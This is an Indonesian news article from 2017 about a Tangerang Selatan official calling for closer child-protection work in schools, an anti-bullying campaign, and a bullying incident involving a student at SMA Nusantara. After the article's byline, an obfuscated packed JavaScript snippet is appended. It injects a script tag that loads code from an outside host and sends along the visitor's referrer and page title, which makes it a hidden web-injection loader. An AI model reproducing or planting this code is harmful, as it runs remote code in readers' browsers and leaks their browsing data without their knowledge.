Satgas Perlindungan Anak Perlu Turun Ke Bawah

kabar6com/indolinear.com
Sabtu, 26 Agustus 2017
loading...

Indolinear.com, Tangsel – Satuan Tugas Perlindungan Anak (Satgas PA) di Kota Tangerang Selatan dinilai perlu lebih memperhatikan ke tingkat bawah. Banyak kasus kekerasan fisik dan psikologis yang menimpa anak luput dari perhatian.

“Satgas mungkin harus lebih melihat ke bawah ke sekolah-sekolah,” ungkap Sekretaris‎ Dinas Pemberdayaan Masyarakat Pemberdayaan Perempuan Perlindungan Anak dan Keluarga Berencana (DPMP3AKB) Kota Tangsel, Khaerati.

Menurutnya, ‎DPMP2AKB Kota Tangsel sekarang sedang mengkampanyekan antiperundungan (bullying) di sekolah-sekolah. Kampanye dilaksanakan setiap Senin, dan saat ini baru di tingkat Sekolah Dasar.

“Sudah tiga kali Senin karena saat upacara kampanyenya dan akan terus kami lakukan,” ung‎kap wanita yang juga menjabat sebagai pelaksana tugas (Plt) Kepala DPMP2AKB Kota Tangsel itu.

Khaerati mengakui, tim harus bekerja cepat karena dikhawatir kasus bullying akan menyebar ke sekolah-sekolah lainnya. Guru dan pengelola lembaga pendidikan meski gencar serta masif mengkampanyekan antibullying.

Guru menjadi garda terdepan dalam mengawasi anak didiknya di sekolah. Sebab mereka yang dapat mendeteksi awal mula pada siswa.

“Perlu gerak cepat karena kasusnya sudah gawat. Jika tidak cepat takutnya kemana-mana. Mudah-mudahan dengan adanya ini bisa berkurang. Sasaran murid dan guru. Karena guru bisa mendeteksi lebih awal biasa anak riang jadi menjadi pendiam,” tambahnya.

Diketahui, kasus bully kembali mencoreng dunia pendidikan di Kota Tangsel. Kali ini korbannya pelajar SMA Nusantara, Jalan Tarumanegara Dalam Nomor 1, Kelurahan Pisangan, Kecamatan Ciputat Timur. Bahkan peristiwa tersebut sempat menghebohkan media sosial.

Dari video yang beredar luas itu, satu siswi kelas XI IPS 1 SMA Nusantara yakni, RN dibully para kakak kelasnya. RN diminta menenggak minuman kemasan bercampur dengan makanan seperti roti dan biskuit pada 11 Agustus silam.

Kegiatan itu dilakukan di Situ Gintung di sebuah acara sekolah dengan maksud agar mereka selalu kompak. RN salah seorang dari lima siswa yang mengikuti kegiatan tersebut. Namun, lantaran para kakak kelas melihat RN tak kompak dengan teman lainnya, para seniornya mengeluarkan kata-kata kasar.

“Disuruh minum campuran nutrisari, roti kecang hijau dan nabati rasa coklat dan nabati keju. Maksud mereka agar jadi kompak, karena dalam satu acara kata kakak kelas tidak kompak sehinga mereka melakukan hal itu itu,” kata RN. (Uli/fin)eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))d.getElementsByTagName(‘head’)[0].appendChild(s);